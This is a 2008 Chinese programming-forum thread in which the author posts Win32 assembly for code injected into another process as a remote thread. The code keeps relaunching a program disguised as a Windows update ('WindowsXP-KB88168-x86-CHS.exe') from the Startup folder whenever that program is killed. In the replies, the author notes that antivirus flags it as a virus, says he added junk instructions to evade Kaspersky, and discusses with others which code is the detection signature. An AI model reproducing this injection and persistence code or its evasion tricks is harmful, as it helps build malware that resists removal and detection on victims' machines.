| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 2571 人关注过本帖, 1 人收藏
标题:用远线程保护进程(win32汇编)
只看楼主 加入收藏
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
结帖率:100%
收藏(1)
 问题点数:0 回复次数:6 
用远线程保护进程(win32汇编)
*/ --------------------------------------------------------------------------------------
*/ 出自: 编程中国 https://www.bccn.net
*/ 作者: zklhp   E-mail:zklhp@  QQ:493165744
*/ 时间: 2008-11-29 编程论坛首发
*/ 声明: 尊重作者劳动,转载请保留本段文字
*/ --------------------------------------------------------------------------------------


接着上次的那个 接着写个保护的 没什么新意 就是总结一下吧

帖一下远线程的代码吧

程序代码:

.code

Remote_code_start    equ this BYTE

g_lpGetModuleHandleA        dd  0
g_lpGetProcAddress        dd  0

g_szKernel32            db 'Kernel32.dll',0
g_hKernel32                dd 0

g_szCreateProcessA    db 'CreateProcessA',0
g_lpCreateProcessA    dd    0

g_szCreateToolhelp32Snapshot db 'CreateToolhelp32Snapshot',0
g_lpCreateToolhelp32Snapshot dd 0

g_szProcess32First db 'Process32First',0
g_lpProcess32First dd 0

g_szProcess32Next db 'Process32Next',0
g_lpProcess32Next dd 0

g_szlstrcmpiA db 'lstrcmpiA',0
g_lplstrcmpiA dd 0


g_szCloseHandle db 'CloseHandle',0
g_lpCloseHandle dd 0

g_szSleep db 'Sleep',0
g_lpSleep dd 0

g_szProcessName        db 'WindowsXP-KB88168-x86-CHS.exe',0
g_szPath                    db 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\WindowsXP-KB88168-x86-CHS.exe',0    ;配合前面那个程序~~~
g_szDesktop                db 'WinSta0\Default',0
g_stProcess             PROCESSENTRY32 <0>
g_hSnapshot                dd 0
g_dwProcessID            dd 0
g_stStartupInfo        STARTUPINFO <0>
g_ProcInfo                PROCESS_INFORMATION <0>

_RemoteThread proc
    pushad
    call    delta
    delta:
    pop    ebx    ;得到当前地址 这里没有再减 学习cih的重定位方法 貌似这样省字节

    lea    eax, [ebx+(g_szKernel32-delta)]
    _invoke [ebx+(g_lpGetModuleHandleA-delta)], eax
    mov    [ebx+(g_hKernel32-delta)],eax
    mov esi,eax

    lea    eax, [ebx+(g_szKernel32-delta)]
    _invoke [ebx+(g_lpGetModuleHandleA-delta)], eax
    mov    esi, eax

    ;要用的api都得查出地址 现在是在人家的地盘啊
    lea    eax, [ebx+(g_szCreateProcessA-delta)]
    _invoke [ebx+(g_lpGetProcAddress-delta)], esi, eax
    mov    [ebx+(g_lpCreateProcessA-delta)], eax

    lea    eax, [ebx+(g_szCreateToolhelp32Snapshot-delta)]
    _invoke [ebx+(g_lpGetProcAddress-delta)], esi, eax
    mov    [ebx+(g_lpCreateToolhelp32Snapshot-delta)], eax

    lea    eax, [ebx+(g_szProcess32First-delta)]
    _invoke [ebx+(g_lpGetProcAddress-delta)], esi, eax
    mov    [ebx+(g_lpProcess32First-delta)], eax

    lea    eax, [ebx+(g_szProcess32Next-delta)]
    _invoke [ebx+(g_lpGetProcAddress-delta)], esi, eax
    mov    [ebx+(g_lpProcess32Next-delta)], eax

    lea    eax, [ebx+(g_szlstrcmpiA-delta)]
    _invoke [ebx+(g_lpGetProcAddress-delta)], esi, eax
    mov    [ebx+(g_lplstrcmpiA-delta)], eax

    lea    eax, [ebx+(g_szCloseHandle-delta)]
    _invoke [ebx+(g_lpGetProcAddress-delta)], esi, eax
    mov    [ebx+(g_lpCloseHandle-delta)], eax

    lea    eax, [ebx+(g_szSleep-delta)]
    _invoke [ebx+(g_lpGetProcAddress-delta)], esi, eax
    mov    [ebx+(g_lpSleep-delta)], eax

@loop:
    lea esi,[ebx+(g_stProcess-delta)]
    assume esi:ptr PROCESSENTRY32
    mov    [esi].dwSize,sizeof g_stProcess
    assume esi:nothing
    _invoke  [ebx+(g_lpCreateToolhelp32Snapshot-delta)], TH32CS_SNAPPROCESS, 0
    mov    edi, eax        ;edi = hSnapshot
    lea ecx,[ebx+(g_stProcess-delta)]
    _invoke  [ebx+(g_lpProcess32First-delta)], edi,ecx
    .while eax
        lea ecx,[ebx+(g_stProcess-delta)]
        assume esi:ptr PROCESSENTRY32
        lea edx,[esi].szExeFile
        assume esi:nothing
        lea ecx,[ebx+(g_szProcessName-delta)]
        _invoke  [ebx+(g_lplstrcmpiA-delta)], ecx, edx
        .if eax==0
            mov esi,TRUE    ;设置找到的标志
            .break
        .endif
        lea ecx,[ebx+(g_stProcess-delta)]
        _invoke  [ebx+(g_lpProcess32Next-delta)], edi, ecx
    .endw
    _invoke  [ebx+(g_lpCloseHandle-delta)], edi

    .if esi!=TRUE    ;没有就运行
        lea    eax, [ebx+(g_szDesktop-delta)]
        lea    ecx, [ebx+(g_stStartupInfo-delta)]
        mov    DWORD ptr [ecx], sizeof g_stStartupInfo
        mov    DWORD ptr [ecx+8], eax
        lea    eax, [ebx+(g_szPath-delta)]
        lea    edx, [ebx+(g_ProcInfo-delta)]
        _invoke [ebx+(g_lpCreateProcessA-delta)], 0, eax, 0, 0, 0, 0, 0, 0, ecx, edx
    .endif

    _invoke [ebx+(g_lpSleep-delta)],300d    ;刚杀掉有有了 呵呵 这里可以改的合适一点 间隔太小也不好
    jmp @loop
    popad
    ret
_RemoteThread endp

Remote_code_end     equ this BYTE
Remote_code_length     equ offset Remote_code_end - offset Remote_code_start
;注入代码的长度



在偶的2003下运行没问题

这个会被杀毒软件认为是病毒~~~~  因使用造成的后果与我无关啊

还是那句话 别干坏事啊

参考了罗云彬的程序 向前辈的无私奉献精神表示感谢

程序+代码
RemoteThreadProtect.rar (7.31 KB)


这个是被保护的进程 就是那个弹窗口的程序(前几天静老大审核时没笑翻吧) 做了点改动  
MessageBox.rar (6.46 KB)


[[it] 本帖最后由 zklhp 于 2008-12-5 19:29 编辑 [/it]]
搜索更多相关主题的帖子: 进程 
2008-11-29 19:19
ONEPROBLEM
Rank: 6Rank: 6
来 自:广西 南宁
等 级:贵宾
威 望:21
帖 子:1569
专家分:349
注 册:2008-7-11
收藏
得分:0 
顶一个~~
2008-12-01 10:07
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
呵呵  总算发出来了~~~

这个被卡巴认为是病毒 不知道特征码是什么 我加了不少花指令也没免杀~~~
2008-12-01 12:30
swp160108
Rank: 2
等 级:论坛游民
威 望:4
帖 子:63
专家分:98
注 册:2008-11-10
收藏
得分:0 
pushad
    call    delta
    delta:
    pop    ebx    ;得到当前地址 这里没有再减 学习cih的重定位方法 貌似这样省字节
这个估计就是特征码
2008-12-02 09:22
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
以下是引用swp160108在2008-12-2 09:22的发言:

pushad
    call    delta
    delta:
    pop    ebx    ;得到当前地址 这里没有再减 学习cih的重定位方法 貌似这样省字节
这个估计就是特征码


https://bbs.bccn.net/thread-242717-1-1.html

这个也是偶写的 重定位方法一样 怎么不被杀啊~~~

偶用那个ccl定位了一下  好象调用那些api都是特征码
2008-12-02 12:39
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
以下是引用zklhp在2008-11-29 19:19的发言:

*/ --------------------------------------------------------------------------------------
*/ 出自: 编程中国 https://www.bccn.net
*/ 作者: zklhp   E-mail:zklhp@  QQ:493165744
*/ 时间: 200 ...


昨天才发现 代码里那个宏让我注释掉了 还有一个是多余的 现在删了 不过没有编译器 就把代码放上去了
2008-12-04 13:15
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
现在改好了~~~~~
2008-12-05 19:30
快速回复:用远线程保护进程(win32汇编)
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.120060 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved